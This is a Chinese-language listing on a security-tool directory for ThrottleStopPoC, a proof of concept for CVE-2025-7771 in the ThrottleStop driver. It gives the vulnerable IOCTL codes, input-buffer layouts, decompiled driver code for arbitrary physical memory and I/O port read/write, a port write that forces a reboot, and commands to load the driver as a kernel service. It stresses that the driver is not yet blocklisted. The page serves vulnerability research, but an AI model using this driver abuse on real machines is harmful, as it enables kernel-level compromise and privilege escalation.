Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ThrottleStopPoC — CVE-2025-7771:通过 ThrottleStop 驱动程序进行任意物理内存和 I/O 端口读/写 | Kitploit
工具/GitHubGitHub/wqsv/throttlestoppoc
权限提升漏洞分析漏洞利用逆向工程硬件安全论文与研究红队二进制利用
GitHubwqsv/throttlestoppoc

ThrottleStopPoC

CVE-2025-7771:通过 ThrottleStop 驱动程序进行任意物理内存和 I/O 端口读/写

查看仓库
1871年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ThrottleStopPoC

CVE-2025-7771:通过 ThrottleStop 驱动实现任意物理内存和 I/O 端口读写

ThrottleStop 是一个用于监控和纠正 CPU 降频的小型合法应用程序。它有一个驱动程序来协助完成这些任务,而且它基本上没有任何形式的输入验证。

存在漏洞的 IOCTL

IOCTL漏洞
0x80006498任意内存读取
0x8000649C任意内存写入
0x80006430任意端口读取
0x80006434任意端口写入

似乎还存在任意 MSR 读写,但我没能让它们正常工作。 你可以自行研究。 读取 MSR 位于 0x80006448,写入位于 0x8000644C。

如果你能让它正常工作,请提交一个 issue 描述操作步骤。


下面提到的所有 IOCTL 调用都在 Exploit.c 文件中实现。


任意内存读取

0x80006498 IOCTL 使用 MmMapIoSpace 将任何提供的物理地址映射到内核空间,并从中读取 1、2、4 或 8 个字节。然后数据被复制回用户空间。

要触发此 IOCTL,使用 DeviceIoControl,以物理地址作为输入,输出缓冲区大小作为读取大小(1、2、4 或 8)。

驱动中此 IOCTL 的简化代码:

root@kitploit:~
case 0x80006498: {
    size_t readSize = inputBuffer->Size;   // must be 1,2,4,8
    PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
    void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);

    if (mappedAddr) {
        if (readSize == 1)
            *outputBuffer = *(uint8_t*)mappedAddr;
        else if (readSize == 2)
            *(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
        else if (readSize == 4)
            *(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
        else if (readSize == 8)
            *(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;

        MmUnmapIoSpace(mappedAddr, readSize);
    }
}

任意内存写入

与读取类似,0x8000649C IOCTL 使用 MmMapIoSpace 将提供的物理地址映射到内核空间,并从中读取 1、2、4 或 8 个字节。

要触发此 IOCTL,使用 DeviceIoControl,输入缓冲区布局如下:

root@kitploit:~
struct {
    ULONGLONG PhysicalAddress;  // 8 bytes
    union {
        BYTE  Value8;
        WORD  Value16;
        DWORD Value32;
        QWORD Value64;
    };
};

输入缓冲区大小将为 8 +(1、2、4 或 8),具体取决于写入大小。

输出缓冲区和输出缓冲区大小未使用。

驱动中此 IOCTL 的简化代码:

root@kitploit:~
case 0x8000649C: {
    size_t writeSize = inputBuffer->Size;  // must be 1,2,4,8
    PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
    void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);

    if (mappedAddr) {
        if (writeSize == 1)
            *(uint8_t*)mappedAddr = inputBuffer->Value8;
        else if (writeSize == 2)
            *(uint16_t*)mappedAddr = inputBuffer->Value16;
        else if (writeSize == 4)
            *(uint32_t*)mappedAddr = inputBuffer->Value32;
        else if (writeSize == 8)
            *(uint64_t*)mappedAddr = inputBuffer->Value64;

        MmUnmapIoSpace(mappedAddr, writeSize);
    }
}

任意端口读取

0x80006430 IOCTL 允许用户指定一个 IO 端口,并使用 __inbyte、__inword 或 __indword 直接从中读取。

输入缓冲区是一个 USHORT,输入缓冲区大小应为 sizeof(USHORT)。

输出缓冲区将保存结果(根据请求的大小为 1、2 或 4 字节),输出大小可以为 1、2 或 4。

驱动中此 IOCTL 的简化代码:

root@kitploit:~
case 0x80006430: {
    uint16_t port = inputBuffer->PortNumber;
    uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4

    if (size == 1)
        *outputBuffer = __inbyte(port);
    else if (size == 2)
        *(uint16_t*)outputBuffer = __inword(port);
    else if (size == 4)
        *(uint32_t*)outputBuffer = __indword(port);
}

任意端口写入

与端口读取类似,0x80006434 IOCTL 允许用户指定一个 IO 端口,并使用 __outbyte、__outword 或 __outdword 向其中写入任意值。 输入缓冲区布局为:

root@kitploit:~
struct {
    USHORT PortNumber;
    BYTE   Padding[2];   // alignment
    union {
        BYTE  Value8;
        WORD  Value16;
        DWORD Value32;
    };
};

输入缓冲区大小应为 sizeof(USHORT) + sizeof(Value)(+ 填充)。 输出缓冲区及其大小未使用。

驱动中此 IOCTL 的简化代码:

root@kitploit:~
case 0x80006434: {
    uint16_t port = inputBuffer->PortNumber;
    uint8_t size  = inputBuffer->AccessSize; // 1, 2, or 4

    if (size == 1)
        __outbyte(port, inputBuffer->Value8);
    else if (size == 2)
        __outword(port, inputBuffer->Value16);
    else if (size == 4)
        __outdword(port, inputBuffer->Value32);
}

虚拟地址到物理地址的转换

这种转换可以通过滥用 Superfetch 来实现,Superfetch 是一个合法的内核模块,它使用未公开的 API 暴露虚拟地址到物理地址的转换。 其代码实现在 vtop.c 中

构建

此项目可以使用 Meson 编译。它通过使用 PsInitialSystemProcess 解析 System 进程的 EPROCESS 结构来读取 UniqueProcessId 字段,并检查它是否为 4(实现在 Main.c 中,用于查找特定 PID 的 EPROCESS 的函数实现在 EProcess.c 中)。此外,它会询问用户是否想要强制重启系统。这可以通过向端口 0xCF9 写入 0x0E 值来实现。

警告:所有内容均在 Windows 11 build 24H2 上测试。EPROCESS 结构中的偏移量在你的系统上可能会有所不同。

通过以下命令构建项目

root@kitploit:~
meson setup build

它将创建 build 目录。现在使用以下命令编译项目

root@kitploit:~
meson compile -C build

驱动程序位于仓库的 Drivers 目录中。ThrottleStop 驱动可以通过 Resource Hacker 直接从 ThrottleStop.exe 程序中提取。你会找到 2 个驱动——x64 和 x86。DriverObject->MajorFunction[14] 保存了所有 IOCTL 都已实现的调度函数。

使用以下命令创建并启动驱动:

root@kitploit:~
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop

参考资料

https://github.com/jonomango/superfetch

此驱动尚未被添加到 Microsoft 驱动阻止列表或 loldrivers 中。

下载工具